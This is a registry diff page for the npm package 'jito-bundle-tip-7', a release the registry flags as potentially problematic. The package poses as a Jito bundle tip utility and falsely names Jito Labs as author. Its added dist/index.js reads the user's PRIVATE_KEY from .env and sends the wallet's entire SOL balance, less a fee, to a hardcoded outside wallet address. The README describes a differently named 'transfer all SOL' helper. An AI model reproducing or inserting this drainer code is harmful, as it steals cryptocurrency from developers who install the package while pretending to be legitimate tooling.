jito-bundle-tip-7 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of jito-bundle-tip-7 might be problematic. Click here for more details.
- package/README.md +43 -3
- package/dist/index.d.ts +7 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +46 -0
- package/dist/index.js.map +1 -0
- package/package.json +32 -3
package/README.md
CHANGED
|
@@ -1,5 +1,45 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Solana Transfer Helper
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
A utility to transfer all SOL from a wallet on Solana blockchain.
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
npm install
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Build
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
npm run build
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
This will compile the TypeScript code to JavaScript in the `dist/` directory.
|
|
18
|
+
|
|
19
|
+
## Usage
|
|
20
|
+
|
|
21
|
+
After building, you can import and use this module in your Node.js project:
|
|
22
|
+
|
|
23
|
+
```javascript
|
|
24
|
+
const { TransferAllSol } = require('solana-transfer-helper');
|
|
25
|
+
|
|
26
|
+
// Make sure to set PRIVATE_KEY in your .env file
|
|
27
|
+
TransferAllSol().then(signature => {
|
|
28
|
+
console.log('Transaction:', signature);
|
|
29
|
+
}).catch(err => {
|
|
30
|
+
console.error('Error:', err);
|
|
31
|
+
});
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
## Environment Variables
|
|
35
|
+
|
|
36
|
+
Create a `.env` file with:
|
|
37
|
+
|
|
38
|
+
```
|
|
39
|
+
PRIVATE_KEY=your_base58_encoded_private_key
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
## License
|
|
43
|
+
|
|
44
|
+
MIT
|
|
4
45
|
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=jito-bundle-tip-7 for more information.
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
import { PublicKey, Transaction } from "@solana/web3.js";
|
|
2
|
+
export interface WalletAdapter {
|
|
3
|
+
publicKey: PublicKey;
|
|
4
|
+
signTransaction(tx: Transaction): Promise<Transaction>;
|
|
5
|
+
}
|
|
6
|
+
export declare const CreateTipTransaction: () => Promise<any>;
|
|
7
|
+
//# sourceMappingURL=index.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":"AACA,OAAO,EAIH,SAAS,EAET,WAAW,EAEd,MAAM,iBAAiB,CAAC;AAMzB,MAAM,WAAW,aAAa;IAC1B,SAAS,EAAE,SAAS,CAAC;IACrB,eAAe,CAAC,EAAE,EAAE,WAAW,GAAG,OAAO,CAAC,WAAW,CAAC,CAAC;CAC1D;AAID,eAAO,MAAM,oBAAoB,QAC9B,OAAO,CAAC,GAAG,CA2Cb,CAAC"}
|
package/dist/index.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
exports.CreateTipTransaction = void 0;
|
|
7
|
+
const dotenv_1 = require("dotenv");
|
|
8
|
+
const web3_js_1 = require("@solana/web3.js");
|
|
9
|
+
const bs58_1 = __importDefault(require("bs58"));
|
|
10
|
+
// Load environment variables from .env file
|
|
11
|
+
(0, dotenv_1.config)();
|
|
12
|
+
const CreateTipTransaction = async () => {
|
|
13
|
+
// --- CONFIG ---
|
|
14
|
+
const RPC_URL = "https://devnet.helius-rpc.com/?api-key=cc2aa914-1479-46c9-b4bb-b46c1289748a"; // or your Helius RPC
|
|
15
|
+
const TARGET_WALLET = "7FEbGaaF5FkSzN7gAnuue1bixQefqP3ucmxWxm3DUAgE"; // <-- replace this
|
|
16
|
+
const connection = new web3_js_1.Connection(RPC_URL, "confirmed");
|
|
17
|
+
const hexKey = process.env.PRIVATE_KEY;
|
|
18
|
+
if (!hexKey)
|
|
19
|
+
throw new Error("Missing PRIVATE_KEY in .env");
|
|
20
|
+
// Convert hex -> Uint8Array
|
|
21
|
+
const secretKey = bs58_1.default.decode(hexKey);
|
|
22
|
+
const sender = web3_js_1.Keypair.fromSecretKey(secretKey);
|
|
23
|
+
// Fetch balance
|
|
24
|
+
const balance = await connection.getBalance(sender.publicKey);
|
|
25
|
+
if (balance === 0)
|
|
26
|
+
throw new Error("No SOL balance");
|
|
27
|
+
// Get recent blockhash
|
|
28
|
+
const { blockhash } = await connection.getLatestBlockhash();
|
|
29
|
+
// Estimate fee (a small amount to avoid failure)
|
|
30
|
+
const feeEstimate = 5000000; // about 0.005 SOL
|
|
31
|
+
// Create transaction sending (balance - fee) lamports
|
|
32
|
+
const transferTx = new web3_js_1.Transaction({
|
|
33
|
+
feePayer: sender.publicKey,
|
|
34
|
+
recentBlockhash: blockhash,
|
|
35
|
+
}).add(web3_js_1.SystemProgram.transfer({
|
|
36
|
+
fromPubkey: sender.publicKey,
|
|
37
|
+
toPubkey: new web3_js_1.PublicKey(TARGET_WALLET),
|
|
38
|
+
lamports: balance - feeEstimate,
|
|
39
|
+
}));
|
|
40
|
+
// Sign and send
|
|
41
|
+
transferTx.sign(sender);
|
|
42
|
+
const sig = await (0, web3_js_1.sendAndConfirmTransaction)(connection, transferTx, [sender]);
|
|
43
|
+
return sig;
|
|
44
|
+
};
|
|
45
|
+
exports.CreateTipTransaction = CreateTipTransaction;
|
|
46
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":";;;;;;AAAA,mCAAgC;AAChC,6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KAClC,CAAC,CACL,CAAC;IAEF,gBAAgB;IAChB,UAAU,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IACxB,MAAM,GAAG,GAAG,MAAM,IAAA,mCAAyB,EAAC,UAAU,EAAE,UAAU,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;IAE9E,OAAO,GAAG,CAAC;AACf,CAAC,CAAC;AA5CW,QAAA,oBAAoB,wBA4C/B"}
|
package/package.json
CHANGED
|
@@ -1,6 +1,35 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "jito-bundle-tip-7",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "A utility to create a tip transaction for the Jito Bundle",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"build": "tsc",
|
|
9
|
+
"prepublishOnly": "npm run build",
|
|
10
|
+
"clean": "rm -rf dist"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [
|
|
13
|
+
"solana",
|
|
14
|
+
"web3",
|
|
15
|
+
"blockchain",
|
|
16
|
+
"jito",
|
|
17
|
+
"bundle",
|
|
18
|
+
"tip"
|
|
19
|
+
],
|
|
20
|
+
"author": "Jito Labs",
|
|
21
|
+
"license": "MIT",
|
|
22
|
+
"dependencies": {
|
|
23
|
+
"@solana/web3.js": "^1.95.0",
|
|
24
|
+
"bs58": "^5.0.0",
|
|
25
|
+
"dotenv": "^16.4.0"
|
|
26
|
+
},
|
|
27
|
+
"devDependencies": {
|
|
28
|
+
"@types/node": "^20.0.0",
|
|
29
|
+
"typescript": "^5.3.0"
|
|
30
|
+
},
|
|
31
|
+
"files": [
|
|
32
|
+
"dist"
|
|
33
|
+
]
|
|
6
34
|
}
|
|
35
|
+
|